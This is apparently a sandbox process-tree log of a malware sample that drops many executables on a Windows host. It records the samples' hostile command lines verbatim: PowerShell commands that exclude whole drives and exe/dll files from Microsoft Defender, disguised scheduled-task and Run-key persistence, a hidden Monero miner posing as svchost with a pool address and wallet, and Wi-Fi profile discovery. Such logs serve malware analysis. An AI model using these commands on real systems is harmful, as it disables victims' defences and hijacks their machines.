C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --force-high-res-timeticks=disabled --metrics-shmem-handle=4320,i,11635100127712950768,7961243865668473300,524288 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:144⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --force-high-res-timeticks=disabled --metrics-shmem-handle=4292,i,13649231608029512496,11516391437899898433,524288 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=4412 /prefetch:144⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --force-high-res-timeticks=disabled --metrics-shmem-handle=4452,i,17407890403104603519,983343898039901177,524288 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:144⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Windows.x64.silent.CPU.exe"C:\Users\Admin\AppData\Local\Temp\Files\Windows.x64.silent.CPU.exe"2⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Files\Windows.x64.silent.CPU.exe"3⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate64" /tr "C:\Windows\system32\WindowsUpdate64.exe"4⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate64" /tr "C:\Windows\system32\WindowsUpdate64.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Windows\system32\WindowsUpdate64.exe"4⤵
-
C:\Windows\system32\WindowsUpdate64.exeC:\Windows\system32\WindowsUpdate64.exe5⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Windows\system32\WindowsUpdate64.exe"6⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"8⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\Microsoft\Libs\sihost64.exe"C:\Windows\system32\Microsoft\Libs\sihost64.exe"7⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"8⤵
-
-
-
C:\Windows\System32\svchost.exeC:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:443 --user=476eFXubaxjAwgdtpzHdpzJTQVvjyJTbebFDP3PvfuK1WU3ewDs8tqbf9ZjweyP7EuFELXFPcMrUFiuSajv3HXvZSfyDUuS --pass=SilentMiner --cpu-max-threads-hint=70 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --tls --cinit-stealth7⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Stub.exe"C:\Users\Admin\AppData\Local\Temp\Files\Stub.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Stub.exe"C:\Users\Admin\AppData\Local\Temp\Files\Stub.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"4⤵
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f"4⤵
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f5⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f"4⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f5⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"4⤵
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"4⤵
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"4⤵
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\chrome_134.exe"C:\Users\Admin\AppData\Local\Temp\Files\chrome_134.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\DowOnline.Installer.exe"C:\Users\Admin\AppData\Local\Temp\Files\DowOnline.Installer.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8MNPN.tmp\DowOnline.Installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-8MNPN.tmp\DowOnline.Installer.tmp" /SL5="$703F4,13495130,780800,C:\Users\Admin\AppData\Local\Temp\Files\DowOnline.Installer.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Anap.a.exe"C:\Users\Admin\AppData\Local\Temp\Files\Anap.a.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PPTV(pplive)_forap_1084_9993.exe"C:\Users\Admin\AppData\Local\Temp\Files\PPTV(pplive)_forap_1084_9993.exe"2⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Program Files (x86)\Internet Explorer\PPLite\plugin\1.0.1.1058\pplugin2.dll"3⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\SkinConverter.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\SkinConverter.exe"3⤵
-
-
C:\Windows\SysWOW64\Rundll32.exe"C:\Windows\SysWOW64\Rundll32.exe" "C:\Windows\SysWOW64\PPTVSvc.dll" RundllCmd -i3⤵
-
-
C:\Windows\SysWOW64\Rundll32.exe"C:\Windows\SysWOW64\Rundll32.exe" "C:\Windows\SysWOW64\PPTVSvc.dll" RundllCmd -start3⤵
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s C:\Windows\system32\kindling.dll3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\nsfD4AF.tmp\firewall.exe"C:\Users\Admin\AppData\Local\Temp\nsfD4AF.tmp\firewall.exe" /PPTVPATH=C:\Program Files (x86)\PPLive\PPTV /PPTVVERSION=3.1.5.00653⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\PPLive.exe" PPLive Enable4⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" PPLiveU Enable4⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe" RepairSetup.exe Enable4⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\CrashReporter.exe" CrashReporter.exe Enable4⤵
- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\netsh.exenetsh firewall add allowedprogram "C:\Windows\system32\PPTVLauncher.exe" PPTVLauncher Enable4⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" PPLive Enable4⤵
- Modifies Windows Firewall
-
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /RegServer3⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\hwcheck.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\hwcheck.exe" -s -luminanceonly "C:\Users\Admin\AppData\Local\Temp\hwcheck.mp4"3⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe" -codec3⤵
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /LoadModule MngModule.dll /T 1 /C forqd1084 /F 0 /G 3.1.5 /H 1 /I /L 1 /M 0 /N 1 /O 1 /P3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\EmmetPROD.exe"C:\Users\Admin\AppData\Local\Temp\Files\EmmetPROD.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic computersystem get name, TotalPhysicalMemory /Value && wmic os get caption /Value && wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value && ipconfig | find "IPv4" | find /N ":" | find "[1]"3⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic computersystem get name, TotalPhysicalMemory /Value4⤵
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic os get caption /Value4⤵
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value4⤵
-
-
C:\Windows\SysWOW64\ipconfig.exeipconfig4⤵
- Gathers network information
-
-
C:\Windows\SysWOW64\find.exefind "IPv4"4⤵
-
-
C:\Windows\SysWOW64\find.exefind /N ":"4⤵
-
-
C:\Windows\SysWOW64\find.exefind "[1]"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\YHY_Setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\YHY_Setup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\sunwukongs.exe"C:\Users\Admin\AppData\Local\Temp\Files\sunwukongs.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
C:\Windows\mbr.exe"C:\Windows\mbr.exe"5⤵
-
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh wlan show interfaces4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\qcoin133.exe"C:\Users\Admin\AppData\Local\Temp\Files\qcoin133.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ChromeSetup.exe"C:\Users\Admin\AppData\Local\Temp\Files\ChromeSetup.exe"2⤵
-
C:\Program Files (x86)\GUM20E8.tmp\GoogleUpdate.exe"C:\Program Files (x86)\GUM20E8.tmp\GoogleUpdate.exe" /installsource taggedmi /install "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={48FC499B-357D-F9BB-46E5-170BFBA88A76}&lang=en&browser=4&usagestats=0&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty"3⤵
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc4⤵
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver4⤵
-
C:\Program Files (x86)\Google\Update\1.3.35.302\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.35.302\GoogleUpdateComRegisterShell64.exe"5⤵
-
-
C:\Program Files (x86)\Google\Update\1.3.35.302\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.35.302\GoogleUpdateComRegisterShell64.exe"5⤵
-
-
C:\Program Files (x86)\Google\Update\1.3.35.302\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.35.302\GoogleUpdateComRegisterShell64.exe"5⤵
-
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNS4zMDIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNS4zMDEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NDZCM0NFRjEtMDA0Ni00OUU4LUJFMUUtOUJCNkY0QUVFNzMxfSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0iezU3RjBDQjBFLTk5QTEtNDI0My04RTk1LUIwREQ2ODI4N0MyNn0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iMTYiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMjYxMDAuMTc0MiIgc3A9IiIgYXJjaD0ieDY0Ii8-PGFwcCBhcHBpZD0iezQzMEZENEQwLUI3MjktNEY2MS1BQTM0LTkxNTI2NDgxNzk5RH0iIHZlcnNpb249IjE0MS4wLjczNDAuMCIgbmV4dHZlcnNpb249IjEuMy4zNS4zMDIiIGxhbmc9ImVuIiBicmFuZD0iIiBjbGllbnQ9IiIgaWlkPSJ7NDhGQzQ5OUItMzU3RC1GOUJCLTQ2RTUtMTcwQkZCQTg4QTc2fSI-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgaW5zdGFsbF90aW1lX21zPSIxNDk1Ii8-PC9hcHA-PC9yZXF1ZXN0Pg4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /handoff "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={48FC499B-357D-F9BB-46E5-170BFBA88A76}&lang=en&browser=4&usagestats=0&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty" /installsource taggedmi /sessionid "{46B3CEF1-0046-49E8-BE1E-9BB6F4AEE731}"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\adpopup_1382523956.exe"C:\Users\Admin\AppData\Local\Temp\Files\adpopup_1382523956.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\EDMSLauncherSetup.exe"C:\Users\Admin\AppData\Local\Temp\Files\EDMSLauncherSetup.exe"2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM EdmsLauncher.exe3⤵
- Kills process with taskkill
-
-
C:\Program Files (x86)\Minervasoft_KBInsu\EdmsLauncher\EdmsLauncher.exe"C:\Program Files (x86)\Minervasoft_KBInsu\EdmsLauncher\EdmsLauncher.exe"3⤵
-
C:\Windows\SysWOW64\netsh.exe"netsh" http show sslCert ipport =0.0.0.0:150024⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http delete sslCert ipport =0.0.0.0:150024⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http add sslcert ipport = 0.0.0.0:15002 certhash = 873ba9adcf0babcf88bef9a12004a41ea9b49274 appid = "{9C2B08E6-A284-4B0C-A742-392C203C90F0}"4⤵
-
-
C:\Windows\SysWOW64\netsh.exe"netsh" http show urlacl url = https://+:15002/EdmsLauncher/4⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http add urlacl url=https://+:15002/EdmsLauncher/ user=YJOQDIGI\Admin4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Yellow%20Pages%20Scraper.exe"C:\Users\Admin\AppData\Local\Temp\Files\Yellow%20Pages%20Scraper.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\SharpHound.exe"C:\Users\Admin\AppData\Local\Temp\Files\SharpHound.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ntladlklthawd.exe"C:\Users\Admin\AppData\Local\Temp\Files\ntladlklthawd.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AddMeFast%20Bot.exe"C:\Users\Admin\AppData\Local\Temp\Files\AddMeFast%20Bot.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\net_launcher.exe"C:\Users\Admin\AppData\Local\Temp\Files\net_launcher.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\qt51crk.exe"C:\Users\Admin\AppData\Local\Temp\Files\qt51crk.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Client.exe"C:\Users\Admin\AppData\Local\Temp\Files\Client.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\666.exe"C:\Users\Admin\AppData\Local\Temp\Files\666.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Steanings.exe"C:\Users\Admin\AppData\Local\Temp\Files\Steanings.exe"2⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F5381AC2BD42320B3D4C8D94C20513DE C2⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\WindowsSecurity"C:\Users\Admin\AppData\Local\WindowsSecurity"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004DC1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4300 -ip 43001⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\WindowsSecurity"C:\Users\Admin\AppData\Local\WindowsSecurity"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 540 -p 6968 -ip 69681⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\WindowsSecurity"C:\Users\Admin\AppData\Local\WindowsSecurity"1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k PPTVServiceGroup1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
